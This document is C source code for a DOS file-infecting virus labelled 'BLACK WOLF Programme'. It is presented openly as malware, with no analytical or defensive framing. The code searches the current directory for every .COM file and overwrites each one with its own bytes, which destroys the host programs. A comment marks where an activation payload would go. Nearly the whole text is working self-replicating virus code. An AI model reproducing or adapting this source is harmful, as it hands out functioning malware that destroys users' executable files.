BLACK WOLF Programme

/*  It will infect all .COM files in the current directory  */

#include <stdio.h>

#include <dos.h>

#include <dir.h>

FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;

main()

{

done = findfirst(“*.COM”,&ffblk,0);   /* Find a .COM file */

while (!done)               /* Loop for all COM’s in DIR*/

{

printf(“Infecting  %s\n”, ffblk.ff_name);    /* Inform user */

Virus=fopen(_argv[0],”rb”);          /* Open infected file  */

Host=fopen(ffblk.ff_name,”rb+”);     /* Open new host file  */

x=9504;                               /* Virus size – must   */

/* be correct for the  */

/* compiler it is made */

/* on, otherwise the   */

/* entire virus may not*/

/* be copied!!         */

while (x>256)                         /* OVERWRITE new Host  */

{                                 /* Read/Write 256 byte */

fread(buff,256,1,Virus);          /* chunks until bytes  */

fwrite(buff,256,1,Host);          /* left < 256          */

x-=256;

}

fread(buff,x,1,Virus);                /* Finish off copy     */

fwrite(buff,x,1,Host);

fcloseall();                          /* Close both files and*/

done = findnext(&ffblk);              /* go for another one. */

}

/* Activation would go */

/* here                */

return (0);                             /* Terminate           */

}